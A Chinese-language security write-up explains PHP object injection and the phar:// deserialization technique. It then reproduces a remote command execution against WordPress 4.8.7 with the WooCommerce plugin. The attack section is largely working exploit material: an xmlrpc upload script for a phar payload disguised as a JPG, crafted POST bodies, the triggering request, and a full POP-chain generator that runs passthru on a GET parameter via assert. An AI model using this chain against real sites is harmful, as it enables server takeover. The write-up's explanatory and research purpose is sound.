自从2009年Stefan Essar提出PHP反序列化问题以来，已经有大量的CVE出现，例如CVE-2017-12934、CVE-2017-12933等。今年8月份的美国blackhat上Sam Thomas提出了一种新的反序列化攻击场景，而且这种场景可能伴随着xxe、ssrf或者其他相关漏洞的出现而出现。本文将会对此进行介绍，并针对wordpress中的漏洞进行复现。
二、 PHP反序列化漏洞 2.1 漏洞简介php反序列化漏洞也叫PHP对象注入，形成原因为程序未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化过程，从而导致代码执行、文件操作、执行数据库操作等不可控后果。这一类攻击在java、python等面向对象语言中均存在。
2.2 漏洞主要原理在大型web项目中可能存在如下代码：
<?php class AnyClass { public $name; function __destruct() { passthru($this->name); } }在AnyClass类中，存在一个变量$name，同时也存在一个destruct方法。在__destruct方法中调用了passthru函数，而这个函数的参数恰好是成员变量$name。__destruct这一类成员方法会在某些特定情况下自动调用，例如当类的实例被销毁时就会调用__destruct。这一类的方法被统称为magic方法，还包括__construct、__toString等。
php允许保存一个对象方便以后重用，这个过程被称为序列化。serialize函数会将一个对象的名字和他的成员变量的值保存起来，而unserialize函数则反其道而行之将对象还原，在这一过程中对象的成员变量将保留，而成员函数信息则不会存储。例如：
<?php …… $obj = new AnyClass(); $obj->name = “test”; $res = serialize($obj); echo $res; var_dump(unserialize($res));将首先会输出O:8:”AnyClass”:1:{s:4:”name”;s:4:”test”;}，然后反序列化还原后为：
而当脚本执行结束时，对象将会被销毁，此时会调用__destruct函数，如果我们将name变量设置为whoami，则将会执行系统命令：
internal\xxxx
因此当我们可以控制unserialize函数的输入，同时在服务端代码中存在一个类满足以下条件：
包含一个魔术方法，例如__destruct
魔术方法中直接或者间接存在危险函数，例如eval、call_user_func等
能够通过设置成员变量控制危险函数参数
如果成员$name属性不为public，则需要通过成员函数进行修改，而如果为protected，我们还可以通过新建一个子类，然后在子类中进行赋值和序列化，例如：
class ChildClass extends AnyClass{ protected $wc; public function make(){ $this->wc = new AnyClass(); $this->wc->name = 'whoami'; return serialize($this->wc); } }此时序列化内容为：O:8:”AnyClass”:1:{s:7:”*name”;s:6:”whoami”;}，其中name部分有7个字节是因为还包含两个ascall码为0的不可见字符，二进制为%00*%00，这是为了标识protected和private变量。因此如果存在protected变量，序列化的内容必须通过二进制方式传入或者进行base64编码。
最终传入的序列化内容被反序列化时，将导致远程命令执行。
三、流转换器（Stream Wrappers）PHP的文件操作函数，例如fopen()、copy()、file_exists()、filesize()等函数能够接受许多内置的流转换器，php 5.3以后的主要流转换器包括：
file://
ftp://
php://
zlib://
data://
glob://
phar://
“php://”目前在xxe、本地文件包含或者SSRF等漏洞经常被用到，例如php://input，同时还能通过“php://filter/convert.base64- encode/resource=index.php”来读写文件。“ftp://”、“data://”、“”则可用于远程文件包含，而在之前”phar://”则很少引起注意。
3.1 phar流转换器根据php官方手册，phar类似于java的jar归档格式，但它可直接由php本身创建和使用，因此相当灵活。”phar://”则允许我们将多个文件归入一个本地文件夹。
创建一个phar文件十分简单：
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($this->wc); $phar->stopBuffering();通过setMetadata可以将对象以序列化的形式存入phar文件中：
当metadata通过setMetadata存储后，解析时，php内核中会调用phar_parse_metadata函数：
#p#分页标题#e#
函数中调用了php_var_unserialize函数，此时传入的metadata将会被反序列化。
3.2 攻击方法想要通过phar完成一次攻击需要满足两个前提条件：
向目标站点上传包含攻击payload的phar归档文件
能够将包含被上传文件的phar://xxx.jpg/test.txt路径传入到文件操作函数中。
第一点只要能够上传jpg文件即可，因为phar://xxx.jpg同样也会被当作phar文件解析，因此可以在web应用中找文件上传地方即可。第二点则需要存在file_exists($filename)，要求至少能控制$filename的前几个字符，即保证能使用”phar://”协议引用目标文件，可以通过在代码中定位文件操作函数的参数是否可控来获取。
四、wordpress中漏洞复现与分析 4.1 漏洞复现复现环境：wordpress 4.8.7
首先需要安装woocommerce插件，后台安装最新版即可：
然后建立一个具有作者权限的账号：
wordpress在4.9版本是默认开启xmlrpc的，因此可以通过xmlrpc上传包含了payload的图片：
$filename = "phar.jpg"; //payload图片 $username = 'author'; //新建的作者账号 $password = 'xxxx'; //密码 $wpsite = 'http://127.0.0.1/wordpress'; $xmlclient = $wpsite.'/xmlrpc.php'; $client = new IXR_Client($xmlclient); $client->debug = true; $params = array('name' => 'phartest.jpg', 'type' => 'image/pwnage', 'bits'=>new IXR_Base64(file_get_contents($filename)), 'overwrite' => false); if (!$res = $client->query('wp.uploadFile',1, $username, $password, $params)) { die('Something went wrong – '.$client->getErrorCode().' : '.$client->getErrorMessage()); } else { $response = $client->getResponse(); print_r($response); }上传成功后会返回路径：
需要记住attchememt_id=29和文件路径
然后使用author账号登录后台，访问?post=29&action=edit。点击更新，然后用burp抓包：
然后修改post数据为：
_wpnonce=eaec2d3312&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D29%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=&_wp_original_http_referer=&post_ID=29&file=Z:\Z
发包显示为302
然后再次构造post数据为：
_wpnonce=eaec2d3312&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost.php%3Fpost%3D29%26action%3Dedit&user_ID=2&action=editattachment&originalaction=editattachment&thumb=phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt&post_ID=29
发包同样为302跳转：
最后通过xmlrpc的wp.getMediaIte方法触发命令执行：
POST /wordpress/xmlrpc.php?c=hostname HTTP/1.1 ….. <?xml version="1.0"?> <methodCall> <methodName>wp.getMediaItem</methodName> <params> <param> <value> <string>1</string> </value> </param> <param> <value> <string>author</string> </value> </param> <param> <value> <string>xxxx </string> </value> </param> <param> <value> <int>29</int> </value> </param> </params> </methodCall>执行效果如下：
漏洞触发点在wp-includes/post.php中：
function wp_get_attachment_thumb_file( $post_id = 0 ) { ... $file = get_attached_file( $post->ID ); if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) { .... }这里首先通过get_attched_file函数获取附件文件路径，$post->ID为29。跟进get_attched_file函数：
function get_attached_file( $attachment_id, $unfiltered = false ) { $file = get_post_meta( $attachment_id, '_wp_attached_file', true ); // If the file is relative, prepend upload dir. if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) { $file = $uploads['basedir'] . "/$file"; } .... }首先通过get_post_meta获取_wp_attached_file meta值，而这个值我们可以通过file参数设置，如前所述，最终$file的值为Z:/Z。此时$file的值将绕过正则判断，从而导致if中的条件语句为False，从而get_attached_file最终返回Z:/Z。
然后在get_attachment_thumb_file()中，$imagedata[‘thumb’]是我们创建的缩略图地址，即为：
然后由于basename($file)的值为Z（Z:/Z为合法的windows路径，这里系统无论linux还是window均可使用），此时经过str_replace替换后，$thumbfile的值为：
phar://./wp-content/uploads/2018/08/phartest-9.jpg
/test.txt:\ phar://./wp-content/uploads/2018/08/phartest-9.jpg/test.txt
$thumbfile传入file_exists函数中后，会将phar://./wp-content/uploads/2018/08/phartest-9.jpg作为phar文件，从而导致phar文件中的序列化数据被解析，最终导致命令执行。
4.3 反序列化POP链构造在4.9以前，wordpress存在__toString()函数中调用create_function的POP链，而在4.9以后官方已经修复了这个漏洞。但是我们可以发现一些新的点：
在wp-includes/Request/Utility/FilteredIterator.php中：
class Requests_Utility_FilteredIterator extends ArrayIterator { protected $callback; public function __construct($data, $callback) { parent::__construct($data); $this->callback = $callback; } public function current() { $value = parent::current(); $value = call_user_func($this->callback, $value); return $value; } }Requests_utility_FilteredIterator类继承了ArrayIterator，而ArrayIterator是一个数组迭代类，使用实例为：
$arr = array( "1" => '@passthru(“whoami”);' ); $obj_ = new Requests_Utility_FilteredIterator($arr, "assert"); foreach($obj_ as $handle){ print $handle}当在foreach中执行时，首先会调用$obj->current()方法，此时$value的值首先通过parrent:current()方法赋值为’@passthru(“whoami”);’，$this->callback为assert，因此会执行
call_user_func(“assert”, ‘@passthru(“whoami”);’)，从而最终会执行whoami命令。
但是current方法并不是魔术方法不会自动执行，因此我们需要找到一个魔术方法，其中使用foreach遍历可控变量。在woocommerce插件的class-wc-log-handler-file.php文件中：
class WC_Log_Handler_File extends WC_Log_Handler { protected $handles = array(); .... public function __destruct() { foreach ( $this->handles as $handle ) { if ( is_resource( $handle ) ) { fclose( $handle ); // @codingStandardsIgnoreLine. } } } .... #p#分页标题#e#因此我们只要通过实例化WC_Log_Handler_File类，并设置$handlers的值为Requests_Utility_FilteredIterator对象即可控制foreach中遍历变量。由于$handles为protected变量，通过其他函数设置较为麻烦，因此我们可以通过继承WC_Log_Handler_File类，然后在子类成员方法中进行序列化对象构造，最终payload生成poc为：
<?php require('wp-load.php'); //导入相应的文件 require_once( dirname( __FILE__ ) . '/wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php' ); require_once( dirname( __FILE__ ) . '/wp-includes/Requests/Utility/FilteredIterator.php' ); $arr = array( "1" => '@passthru($_GET["c"]);' //payload ); $obj_ = new Requests_Utility_FilteredIterator($arr, "assert"); class myClass extends WC_Log_Handler_File{ protected $wc; public function make($handle){ $this->wc = new WC_Log_Handler_File(); $this->wc->handles = $handle; //在子类中可以操作protected变量 @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($this->wc); $phar->stopBuffering(); } }为了保证依赖文件正确加载，poc需要在wordpress根目录下执行。
五、参考链接https://blog.csdn.net/u011474028/article/details/52814049
https://blog.csdn.net/u011474028/article/details/54973571